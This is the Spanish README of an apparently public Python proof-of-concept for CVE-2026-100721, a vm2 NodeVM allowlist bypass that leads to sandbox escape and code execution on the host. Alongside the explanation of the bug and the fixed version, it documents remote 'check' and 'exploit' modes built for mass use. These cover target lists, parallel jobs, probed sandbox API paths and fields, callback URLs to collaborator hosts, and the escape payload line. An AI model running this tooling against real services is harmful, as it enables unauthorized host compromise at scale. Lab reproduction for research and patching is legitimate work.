
PoC en Python para CVE-2026-100721: detecta y explota el bypass de la lista de permitidos externa de NodeVM en vm2 <3.12.2, logrando un escape del sandbox y RCE en el host mediante un laboratorio local o objetivos HTTP masivos.
PoC en Python 3 para CVE-2026-100721 — vm2 (npm) anterior a 3.12.2 autorización incorrecta en el resolutor de módulos externos de NodeVM, lo que provoca un escape del sandbox y ejecución de código en el host cuando JavaScript no confiable se ejecuta dentro de un embedder mal configurado.
Página del PoC: https://pocbit.org/pocs/cve-2026-100721
vm2 es una biblioteca de Node.js ampliamente utilizada para ejecutar JavaScript no confiable dentro de un sandbox en el mismo proceso de Node. Las aplicaciones usan NodeVM con restricciones como:
require.builtin — qué módulos del núcleo puede cargar el código invitado (fs, child_process, …)require.external — una lista de permitidos de nombres de paquetes npm (p. ej., solo left-pad, lodash)require.resolve — resolutor personalizado que apunta a un directorio de plugins o dependencias controlado por el hostcontext: 'host' — paquetes externos cargados mediante el require() real del host (común por rendimiento)Embedders típicos: plataformas de scripts de usuario, ejecutores low-code, marketplaces de plugins, IDEs en línea, sandboxes de automatización y microservicios internos de "eval seguro".
CVE-2026-100721 es una autorización incorrecta (CWE-863) en cómo vm2 decide si un require("nombre-de-paquete") del invitado está permitido.
Dos fallos relacionados fueron corregidos en distintas versiones de vm2 (misma clase de bug — confusión de límites entre nombre / ruta):
La precomprobación de la lista de permitidos construye un patrón a partir de entradas como left-pad pero no impone un límite completo del nombre del paquete. El código invitado puede solicitar evil-left-pad porque la cadena contiene left-pad. Si ese paquete en colisión existe en una ruta a la que el resolutor personalizado puede llegar, vm2 lo carga en el contexto del host. El código del módulo de nivel superior se ejecuta antes del envoltorio del sandbox → child_process, lectura de archivos, secretos, etc.
lib/resolver-compat.js, corregido en 3.12.2)Cuando se usa un resolutor personalizado con context: 'host', vm2 registra los directorios permitidos usando una expresión regular de prefijo sin un separador de ruta / límite final estricto. Un invitado puede luego hacer require() de una ruta absoluta a un hermano no permitido (p. ej., .../node_modules/foo2/index.js cuando solo foo estaba en la lista de permitidos). El hermano pasa isPathAllowedForModule y se ejecuta en el proceso del host.
Afectados: vm2 < 3.12.2 (CVE-2026-100721). Correcciones relacionadas de colisión de nombres también llegaron en 3.11.7.
Corregido: Actualizar a vm2 ≥ 3.12.2 (y mantenerse al día).
| Métrica | Valor |
|---|---|
| CVSS 3.1 | 9.0 Crítico — AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H |
| CVSS 4.0 | 9.5 Crítico (Rapid7 / VulnCheck) |
| Auth | La cadena de explotación normalmente comienza tras ejecución de código con bajos privilegios dentro del sandbox (PR:L en el aviso) |
| Crédito | Tencent Xuanwu Lab XlabAI, motor Atuin, Guannan Wang et al. |
El "RCE remoto con una sola petición HTTP" no es universal. Las cadenas prácticas necesitan:
require.external + a menudo un require.resolve personalizado.context: 'host' (o carga equivalente en el host) para los externos.Cuando estos factores se alinean, el impacto es el compromiso total del Node del host — no solo el abuso del sandbox del invitado.
| Modo | Comportamiento |
|---|---|
--lab | Exploit local autoritativo: lab/ instala vm2 3.11.5, construye evil-left-pad, demuestra POCBIT-100721-HOST_EXEC (refleja el aviso del proveedor) |
check | Huella remota de vm2 (package.json, lockfiles, bundles JS), versión < 3.12.2, --probe-exec opcional contra rutas comunes de API de sandbox |
exploit | POST capaz de operar en masa de JS de sondeo para omisión de lista de permitidos (evil-left-pad, nombres en colisión) a --exec-paths configurables; marca exploited ante un marcador en la respuesta o superficie de API del sandbox + --callback-url |
| Mass bulk | --list targets.txt --mode exploit -j N → cve_2026_100721_exploit.jsonl + exploited.txt |
Campos JSONL de PoCbit: pocbit, pocbit_catalog, pocbit_page en cada fila.
CLI: banner PoCbit verde/magenta, coloreado [EXPLOIT] / [SENT] / [FAIL] / [HIT] (--no-color para desactivar).
Importante: El modo de exploit remoto apunta a ejecutores de sandbox HTTP que tú configures. Para verificación pura de la biblioteca, usa python poc.py --lab (requiere Node.js + npm).
pip install -r requirements.txt
| Componente | Propósito |
|---|---|
| Python 3.9+ | Escáner / driver masivo |
| Node.js + npm | Solo para --lab (recomendado para entender el CVE) |
cd CVE-2026-100721
python poc.py --lab
Esperado en vm2 vulnerable:
[+] require(evil-left-pad): POCBIT-100721-HOST_EXEC
[+] RESULT: VULNERABLE
python poc.py -u https://app.example.com --mode check
python poc.py -u https://app.example.com --mode check --probe-exec
python poc.py --list targets.example.txt --mode check -j 12 --probe-exec
python poc.py -u http://127.0.0.1:3000 --mode exploit \
--exec-paths /api/run,/api/eval --code-field code
python poc.py -u http://127.0.0.1:3000 --mode exploit \
--callback-url http://your-collaborator.example/cve-100721
python poc.py --list targets.txt --mode exploit \
--exec-paths /api/run,/api/sandbox/run \
--callback-url http://oast.example.com/hit -j 15
Script invitado personalizado:
python poc.py -u http://127.0.0.1:3000 --mode exploit --payload-file my_escape.js
Salidas:
cve_2026_100721_exploit.jsonl — JSON por objetivoexploited.txt — objetivos donde ocurrió el marcador de escape, la superficie de callback o el impacto en la API del sandboxEl driver sondea patrones comunes (sobrescribir con --exec-paths):
/api/run, /api/eval, /api/execute, /api/sandbox/run, /api/vm/run, /api/code/run, /run, /execute, /eval, /api/v1/run, /api/playground/run, …
Campos de cuerpo JSON probados: code, script, source, javascript, js, payload, … (sobrescribir con --code-field).
El JS de exploit integrado recorre nombres de paquetes en colisión como evil-left-pad (PoC de omisión de lista de permitidos). En un embedder vulnerable que ya aloja el paquete en colisión:
require("evil-left-pad"); // host top-level code runs → sandbox escape